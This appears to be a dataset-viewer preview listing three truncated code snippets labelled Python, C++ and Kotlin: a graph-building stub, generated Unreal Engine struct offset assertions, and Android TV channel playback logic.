from utils.preprocess import features_standard
def creat_graphs(node_f... | Python |
_GAB_DropPlayer::K2Node_CreateDelegate_OutputDelegate_2' has a wrong offset!");
static_assert(offsetof(GAB_DropPlayer_C_ExecuteUbergraph_GAB_DropPlayer, K2Node_Event_bWasCancelled) == 0x000170, "Member 'GAB_DropPlayer_C_ExecuteUbergraph_GAB_DropPlayer::K2Node_Event_bWasCancelled' has a wrong offset!");
static_assert(of... | C++ |
if (firstChannel != null) {
groupModel.setCurrent(firstChannel)
triggerPlay(firstChannel)
Log.i(TAG, "Playing default channel from cache/raw: ${firstChannel.tv.title}, url=${firstChannel.getVideoUrl()}")
} else {
... | Kotlin |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.